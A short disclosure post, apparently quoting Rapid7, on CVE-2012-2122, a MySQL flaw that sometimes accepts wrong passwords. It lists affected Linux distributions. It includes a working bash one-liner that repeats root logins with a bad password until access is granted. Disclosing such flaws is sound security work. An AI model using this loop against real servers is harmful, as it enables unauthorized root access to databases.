“In short, if you try to authenticate to a MySQL server affected by this flaw, there is a chance it will accept your password even if the wrong one was supplied. The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.”
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done mysql>
The following are confirmed distributions that are vulnerable:
- Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04 ) ( via many including @michealc )
- OpenSuSE 12.1 64-bit MySQL 5.5.23-log ( via @michealc )
- Debian Unstable 64-bit 5.5.23-2 ( via @derickr )
- Fedora ( via hexed and confirmed by Red Hat )
- Arch Linux (unspecified version)
Full details can be found at https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql